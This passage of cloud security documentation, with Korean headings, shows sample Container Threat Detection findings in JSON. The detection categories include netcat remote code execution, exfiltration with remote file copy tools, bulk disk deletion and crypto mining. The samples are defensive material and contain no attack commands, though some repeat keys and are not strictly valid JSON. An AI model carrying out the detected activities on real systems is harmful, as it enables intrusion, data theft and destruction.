    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_netcat_remote_code_execution_in_container"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1059/004/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}

실행: 허용되지 않는 HTTP 프록시 환경에서 프로그램 실행

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Program Run with Disallowed HTTP Proxy Env",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-program-with-http-proxy-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          },
          {
            "name": "\"HTTP_PROXY\"",
            "val": "\"http://localhost:8080\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_program_run_with_disallowed_http_proxy_env"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1204/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/f3bf59164816762430e8cdf5a5d64b4284a86af86245a52067c533c8cd98f215/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}

무단 반출: 컨테이너에서 원격 파일 복사 도구 실행

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Exfiltration: Launch Remote File Copy Tools in Container",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-launch-remote-file-copy-tools-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_launch_remote_file_copy_tools_in_container"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1020/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/f3bf59164816762430e8cdf5a5d64b4284a86af86245a52067c533c8cd98f215/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}

영향: 디스크에서 대량 데이터 삭제

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Impact: Remove Bulk Data From Disk",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-remove-bulk-data-from-disk-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_remove_bulk_data_from_disk"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1485/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}

영향: Stratum 프로토콜을 사용하는 의심스러운 암호화폐 채굴 활동

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Impact: Suspicious crypto mining activity using the Stratum Protocol",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-detect-crypto-miners-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "HIGH",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_detect_crypto_miners_using_stratum_protocol"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1496/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/f3bf59164816762430e8cdf5a5d64b4284a86af86245a52067c533c8cd98f215/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}

악성 스크립트가 실행됨

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Malicious Script Executed",
    "sourceProperties": {
      "VM_Instance_Name": "INSTANCE_ID",
      "Script_Filename": "FILENAME",
      "Script_SHA256": "SHA_256",
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
